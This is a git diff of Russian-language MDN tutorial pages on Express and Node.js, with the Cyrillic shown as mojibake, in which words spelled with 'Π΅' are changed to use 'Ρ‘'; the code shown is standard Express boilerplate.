<li><a href="https://www.npmjs.com/package/morgan">morgan</a>: срСдство логирования запросов HTTP для node.</li>
<li><a href="https://www.npmjs.com/package/serve-favicon">serve-favicon</a>: срСдство ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈΒ <a href="https://en.wikipedia.org/wiki/Favicon">favicon</a> (Π·Π½Π°Ρ‡ΠΊΠ°, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠΎΠ³ΠΎ для прСдставлСния сайта Π½Π°Β Π²ΠΊΠ»Π°Π΄ΠΊΠ°Ρ…Β Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, Π·Π°ΠΊΠ»Π°Π΄ΠΊΠ°Ρ…Β ΠΈ Ρ‚. Π΄).</li>
@@ -336,7 +336,7 @@ GET /favicon.ico 404 34.134 ms - 1335</pre>
<h3 id="Π€Π°ΠΉΠ»_www">Π€Π°ΠΉΠ» www</h3>
-<p>Π€Π°ΠΉΠ»Β <strong>/bin/www</strong> – это входная Ρ‚ΠΎΡ‡ΠΊΠ° прилоТСния. Π‘Π½Π°Ρ‡Π°Π»Π° Π² Ρ„Π°ΠΉΠ»Π΅ создаСтся ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ основного прилоТСния, располоТСнного Π² app.js β€” выполняСтся app=<code>require(./</code><code>app</code><code>).</code></p>
+<p>Π€Π°ΠΉΠ»Β <strong>/bin/www</strong> – это входная Ρ‚ΠΎΡ‡ΠΊΠ° прилоТСния. Π‘Π½Π°Ρ‡Π°Π»Π° Π² Ρ„Π°ΠΉΠ»Π΅ создаётся ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ основного прилоТСния, располоТСнного Π² app.js β€” выполняСтся app=<code>require(./</code><code>app</code><code>).</code></p>
<pre class="brush: js notranslate">#!/usr/bin/env node
@@ -351,11 +351,11 @@ GET /favicon.ico 404 34.134 ms - 1335</pre>
<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong> <code>require()</code>Β -- это глобальная функция node  для ΠΈΠΌΠΏΠΎΡ€Ρ‚Π° ΠΌΠΎΠ΄ΡƒΠ»Π΅ΠΉ Π² Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ Ρ„Π°ΠΉΠ».Β  Для модуля <strong>app.js </strong>ΡƒΠΊΠ°Π·Π°Π½ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΡƒΡ‚ΡŒ, Π° Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ Ρ„Π°ΠΉΠ»Π° ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ (.js) ΠΎΠΏΡƒΡ‰Π΅Π½ΠΎ.</p>
</div>
-<p>ΠžΡΡ‚Π°Π²ΡˆΠ°ΡΡΡ Ρ‡Π°ΡΡ‚ΡŒ ΠΊΠΎΠ΄Π° настраиваСт ΠΏΠΎΡ€Ρ‚ сСрвСра node для HTTPΒ (ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ срСды ΠΈΠ»ΠΈ 3000, Ссли Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½), ΠΈ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ ΠΈ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ соСдинСний ΠΈ ошибок сСрвСра. БСйчас Π²Π°ΠΌ Π½Π΅ трСбуСтся Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… свСдСний ΠΎ ΠΊΠΎΠ΄Π΅ (всС Π² этом Ρ„Π°ΠΉΠ»Π΅ шаблонно), Π½ΠΎ, ΠΏΡ€ΠΈ ΠΆΠ΅Π»Π°Π½ΠΈΠΈ, Π΅Π³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ.</p>
+<p>ΠžΡΡ‚Π°Π²ΡˆΠ°ΡΡΡ Ρ‡Π°ΡΡ‚ΡŒ ΠΊΠΎΠ΄Π° настраиваСт ΠΏΠΎΡ€Ρ‚ сСрвСра node для HTTPΒ (ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ срСды ΠΈΠ»ΠΈ 3000, Ссли Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½), ΠΈ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ ΠΈ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ соСдинСний ΠΈ ошибок сСрвСра. БСйчас Π²Π°ΠΌ Π½Π΅ трСбуСтся Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… свСдСний ΠΎ ΠΊΠΎΠ΄Π΅ (всС Π² этом Ρ„Π°ΠΉΠ»Π΅ шаблонно), Π½ΠΎ, ΠΏΡ€ΠΈ ΠΆΠ΅Π»Π°Π½ΠΈΠΈ, Π΅Π³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ.</p>
<h3 id="Π€Π°ΠΉΠ»_app.js">Π€Π°ΠΉΠ» app.js</h3>
-<p>Π­Ρ‚ΠΎΡ‚ Ρ„Π°ΠΉΠ» создаСт ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ прилоТСния  <code>expressΒ </code>(с ΠΈΠΌΠ΅Π½Π΅ΠΌ<code>app</code>, ΠΏΠΎ соглашСнию), настраиваСт ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΈ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ΅Β ΠŸΠž, Π° Π·Π°Ρ‚Π΅ΠΌ экспортируСт ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΈΠ· модуля. Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΊΠΎΠ΄Π΅ ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π΅ части Ρ„Π°ΠΉΠ»Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ ΠΈ ΡΠΊΡΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΡŽΡ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ прилоТСния:</p>
+<p>Π­Ρ‚ΠΎΡ‚ Ρ„Π°ΠΉΠ» создаёт ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ прилоТСния  <code>expressΒ </code>(с ΠΈΠΌΠ΅Π½Π΅ΠΌ<code>app</code>, ΠΏΠΎ соглашСнию), настраиваСт ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΈ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ΅Β ΠŸΠž, Π° Π·Π°Ρ‚Π΅ΠΌ экспортируСт ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΈΠ· модуля. Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΊΠΎΠ΄Π΅ ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π΅ части Ρ„Π°ΠΉΠ»Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ ΠΈ ΡΠΊΡΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΡŽΡ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ прилоТСния:</p>
<pre class="brush: js notranslate"><code>var express = require('express');
var app = express();
@@ -382,10 +382,10 @@ var users = require('./routes/users');
</pre>
<div class="note">
-<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong> Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅ΠΌ ΠΌΠΎΠ΄ΡƒΠ»ΠΈ. Π’ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ эти ΠΏΡƒΡ‚ΠΈ Π΅Ρ‰Π΅ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ β€” это ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚ Π² Ρ„Π°ΠΉΠ»Π΅ нСсколько ΠΏΠΎΠ·ΠΆΠ΅.</p>
+<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong> Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅ΠΌ ΠΌΠΎΠ΄ΡƒΠ»ΠΈ. Π’ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ эти ΠΏΡƒΡ‚ΠΈ Π΅Ρ‰Ρ‘ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ β€” это ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚ Π² Ρ„Π°ΠΉΠ»Π΅ нСсколько ΠΏΠΎΠ·ΠΆΠ΅.</p>
</div>
-<p>Π”Π°Π»Π΅Π΅, ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ ΠΌΠΎΠ΄ΡƒΠ»ΠΈ express ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ для создания ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° app, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΡ‚ΠΎΠΌ устанавливаСт Π΄Π²ΠΈΠΆΠΊΠΈ-ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹ прСдставлСния. Установка Π΄Π²ΠΈΠΆΠΊΠΎΠ² состоит ΠΈΡ… Π΄Π²ΡƒΡ… частСй. Π’ ΠΏΠ΅Ρ€Π²ΠΎΠΉ ΠΌΡ‹ Π·Π°Π΄Π°Π΅ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ 'view', указывая ΠΏΠ°ΠΏΠΊΡƒ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π±ΡƒΠ΄ΡƒΡ‚ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒΡΡ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹ (Ρƒ нас это /views). Π’ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΌΡ‹ Π·Π°Π΄Π°Π΅ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π΄Π²ΠΈΠΆΠΊΠ° 'view engine', указывая Π½Π° Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ шаблона (Ρƒ нас β€” "pug").</p>
+<p>Π”Π°Π»Π΅Π΅, ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ ΠΌΠΎΠ΄ΡƒΠ»ΠΈ express ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ для создания ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° app, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΡ‚ΠΎΠΌ устанавливаСт Π΄Π²ΠΈΠΆΠΊΠΈ-ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹ прСдставлСния. Установка Π΄Π²ΠΈΠΆΠΊΠΎΠ² состоит ΠΈΡ… Π΄Π²ΡƒΡ… частСй. Π’ ΠΏΠ΅Ρ€Π²ΠΎΠΉ ΠΌΡ‹ Π·Π°Π΄Π°Ρ‘ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ 'view', указывая ΠΏΠ°ΠΏΠΊΡƒ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π±ΡƒΠ΄ΡƒΡ‚ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒΡΡ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹ (Ρƒ нас это /views). Π’ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΌΡ‹ Π·Π°Π΄Π°Ρ‘ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π΄Π²ΠΈΠΆΠΊΠ° 'view engine', указывая Π½Π° Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ шаблона (Ρƒ нас β€” "pug").</p>
<pre class="brush: js notranslate">var app = express();
@@ -412,7 +412,7 @@ app.use('/users', users);
</pre>
<div class="note">
-<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong> . ΠΏΡƒΡ‚ΠΈ, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Π΅ Π²Ρ‹ΡˆΠ΅ ('/' ΠΈΒ '<code>/users'</code>) Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°ΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ прСфиксы ΠΏΡƒΡ‚Π΅ΠΉ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… Π² ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… Ρ„Π°ΠΉΠ»Π°Ρ…. Π’Π°ΠΊ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ссли ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ users опрСдСляСт ΠΏΡƒΡ‚ΡŒ для /profile, для доступа слСдуСт ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ /users/profile.Β  ΠœΡ‹ ΠΏΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΠΌ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ ΠΎ путях Π² ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅.</p>
+<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong> . ΠΏΡƒΡ‚ΠΈ, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Π΅ Π²Ρ‹ΡˆΠ΅ ('/' ΠΈΒ '<code>/users'</code>) Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°ΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ прСфиксы ΠΏΡƒΡ‚Π΅ΠΉ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… Π² ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… Ρ„Π°ΠΉΠ»Π°Ρ…. Π’Π°ΠΊ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ссли ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ users опрСдСляСт ΠΏΡƒΡ‚ΡŒ для /profile, для доступа слСдуСт ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ /users/profile.Β  ΠœΡ‹ ΠΏΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΠΌ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ ΠΎ путях Π² ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅.</p>
</div>
<p>ПослСдняя Π² Ρ„Π°ΠΉΠ»Π΅ промСТуточная Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° добавляСт ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ошибок ΠΈ ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠ² 404 ΠΎΡ‚ HTTP.</p>
@@ -442,7 +442,7 @@ app.use(function(err, req, res, next) {
<h3 id="ΠŸΡƒΡ‚ΠΈ_Routes">ΠŸΡƒΡ‚ΠΈ (Routes)</h3>
-<p>Π€Π°ΠΉΠ» ΠΏΡƒΡ‚Π΅ΠΉ /routes/users.js ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ Π½ΠΈΠΆΠ΅ (Ρ„Π°ΠΉΠ»Ρ‹ ΠΏΡƒΡ‚Π΅ΠΉ ΠΈΠΌΠ΅ΡŽΡ‚ ΡΡ…ΠΎΠ΄Π½ΡƒΡŽ структуру, поэтому Π½Π΅Ρ‚ нСобходимости ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ΡŒ Ρ‚Π°ΠΊΠΆΠ΅ index.js). Π‘Π½Π°Ρ‡Π°Π»Π° загруТаСтся ΠΌΠΎΠ΄ΡƒΠ»ΡŒ Express, Π·Π°Ρ‚Π΅ΠΌ ΠΎΠ½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для получСния ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° express.Router. ПослС этого для этого ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° задаСтся ΠΏΡƒΡ‚ΡŒ, ΠΈ, Π½Π°ΠΊΠΎΠ½Π΅Ρ†, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚-Ρ€ΠΎΡƒΡ‚Π΅Ρ€ экспортируСтся ΠΈΠ· модуля (ΠΈΠΌΠ΅Π½Π½ΠΎ это позволяСт ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ„Π°ΠΉΠ» Π² app.js):.</p>
+<p>Π€Π°ΠΉΠ» ΠΏΡƒΡ‚Π΅ΠΉ /routes/users.js ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½ Π½ΠΈΠΆΠ΅ (Ρ„Π°ΠΉΠ»Ρ‹ ΠΏΡƒΡ‚Π΅ΠΉ ΠΈΠΌΠ΅ΡŽΡ‚ ΡΡ…ΠΎΠ΄Π½ΡƒΡŽ структуру, поэтому Π½Π΅Ρ‚ нСобходимости ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ΡŒ Ρ‚Π°ΠΊΠΆΠ΅ index.js). Π‘Π½Π°Ρ‡Π°Π»Π° загруТаСтся ΠΌΠΎΠ΄ΡƒΠ»ΡŒ Express, Π·Π°Ρ‚Π΅ΠΌ ΠΎΠ½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для получСния ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° express.Router. ПослС этого для этого ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° задаётся ΠΏΡƒΡ‚ΡŒ, ΠΈ, Π½Π°ΠΊΠΎΠ½Π΅Ρ†, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚-Ρ€ΠΎΡƒΡ‚Π΅Ρ€ экспортируСтся ΠΈΠ· модуля (ΠΈΠΌΠ΅Π½Π½ΠΎ это позволяСт ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ„Π°ΠΉΠ» Π² app.js):.</p>
<pre class="brush: js notranslate">var express = require('express');
var router = express.Router();
@@ -455,7 +455,7 @@ var router = express.Router();
module.exports = router;
</pre>
-<p>ΠŸΡƒΡ‚ΡŒ опрСдСляСт колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, которая Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½Π°, ΠΊΠΎΠ³Π΄Π° обнаруТится HTTP GET-запрос ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎΠ³ΠΎ Π²ΠΈΠ΄Π°. ΠžΠ±Ρ€Π°Π·Π΅Ρ† для сопоставлСния ΠΏΡƒΡ‚ΠΈ задаСтся ΠΏΡ€ΠΈ ΠΈΠΌΠΏΠΎΡ€Ρ‚Π΅ модуля -- ('<code>/users</code>') плюс Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ, опрСдСляСмоС Π² этом Ρ„Π°ΠΉΠ»Π΅ ('<code>/</code>'). Π˜Π½Ρ‹ΠΌΠΈ словами, этот ΠΏΡƒΡ‚ΡŒ Π±ΡƒΠ΄Π΅Ρ‚ использован, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ URL-запрос <code>/users/</code>.</p>
+<p>ΠŸΡƒΡ‚ΡŒ опрСдСляСт колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, которая Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½Π°, ΠΊΠΎΠ³Π΄Π° обнаруТится HTTP GET-запрос ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎΠ³ΠΎ Π²ΠΈΠ΄Π°. ΠžΠ±Ρ€Π°Π·Π΅Ρ† для сопоставлСния ΠΏΡƒΡ‚ΠΈ задаётся ΠΏΡ€ΠΈ ΠΈΠΌΠΏΠΎΡ€Ρ‚Π΅ модуля -- ('<code>/users</code>') плюс Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ, опрСдСляСмоС Π² этом Ρ„Π°ΠΉΠ»Π΅ ('<code>/</code>'). Π˜Π½Ρ‹ΠΌΠΈ словами, этот ΠΏΡƒΡ‚ΡŒ Π±ΡƒΠ΄Π΅Ρ‚ использован, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ URL-запрос <code>/users/</code>.</p>
<div class="note">
<p><strong>Π‘ΠΎΠ²Π΅Ρ‚:</strong> запуститС сСрвСр ΠΈ Π·Π°Π΄Π°ΠΉΡ‚Π΅ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ URL <a href="http://localhost:3000/users/">http://localhost:3000/users/</a>. Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ<strong> </strong>сообщСниС: 'respond with a resource'.</p>
@@ -473,7 +473,7 @@ router.get('/', function(req, res) {
});
</pre>
-<p>Π¨Π°Π±Π»ΠΎΠ½ для ΠΏΡƒΡ‚ΠΈ '/' ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ Π½ΠΈΠΆΠ΅Β (Ρ„Π°ΠΉΠ»Β <strong>index.pug</strong>). О синтаксисС ΠΌΡ‹ ΠΏΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΠΌ ΠΏΠΎΠ·ΠΆΠ΅. БСйчас Π²Π°ΠΆΠ½ΠΎ Π·Π½Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ пСрСмСнная title со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ 'Express' ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½Π° Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ мСсто шаблона.</p>
+<p>Π¨Π°Π±Π»ΠΎΠ½ для ΠΏΡƒΡ‚ΠΈ '/' ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½ Π½ΠΈΠΆΠ΅Β (Ρ„Π°ΠΉΠ»Β <strong>index.pug</strong>). О синтаксисС ΠΌΡ‹ ΠΏΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΠΌ ΠΏΠΎΠ·ΠΆΠ΅. БСйчас Π²Π°ΠΆΠ½ΠΎ Π·Π½Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ пСрСмСнная title со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ 'Express' ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½Π° Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ мСсто шаблона.</p>
<pre class="notranslate">extends layout
diff --git a/files/ru/learn/server-side/express_nodejs/tutorial_local_library_website/index.html b/files/ru/learn/server-side/express_nodejs/tutorial_local_library_website/index.html
index 6a816405e4..57b1bcc18a 100644
--- a/files/ru/learn/server-side/express_nodejs/tutorial_local_library_website/index.html
+++ b/files/ru/learn/server-side/express_nodejs/tutorial_local_library_website/index.html
@@ -43,7 +43,7 @@ original_slug: Learn/Server-side/Express_Nodejs/Π£Ρ‡Π΅Π±Π½ΠΈΠΊ_сайт_local_li
<li>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π±Π°Π·Ρƒ Π΄Π°Π½Π½Ρ‹Ρ… для хранСния Π΄Π°Π½Π½Ρ‹Ρ… вашСго прилоТСния.</li>
<li>Π‘ΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Ρ‹ для запросов Ρ€Π°Π·Π»ΠΈΡ‡Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΈ шаблонов ("прСдставлСний") для Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° Π΄Π°Π½Π½Ρ‹Ρ… Π² Π²ΠΈΠ΄Π΅ HTML для отобраТСния Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅.</li>
<li>Π Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ.</li>
- <li>Π Π°Π·Π²Π΅Ρ€Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ вашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π² производство.</li>
+ <li>Π Π°Π·Π²Ρ‘Ρ€Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ вашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π² производство.</li>
</ul>
<p>Π’Ρ‹ ΡƒΠΆΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚Π΅ знания ΠΎ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΈΠ· этих Ρ‚Π΅ΠΌ ΠΈ ΠΊΡ€Π°Ρ‚ΠΊΠΎ касались Π΄Ρ€ΡƒΠ³ΠΈΡ…. К ΠΊΠΎΠ½Ρ†Ρƒ сСрии ΡƒΡ€ΠΎΠΊΠΎΠ² Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π·Π½Π°Ρ‚ΡŒ достаточно, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°Π·Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ простыС прилоТСния Express ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ.</p>
diff --git a/files/ru/learn/server-side/first_steps/index.html b/files/ru/learn/server-side/first_steps/index.html
index 4f6b0b78f6..7e1c323a9e 100644
--- a/files/ru/learn/server-side/first_steps/index.html
+++ b/files/ru/learn/server-side/first_steps/index.html
@@ -15,7 +15,7 @@ translation_of: Learn/Server-side/First_steps
---
<div>{{LearnSidebar}}</div>
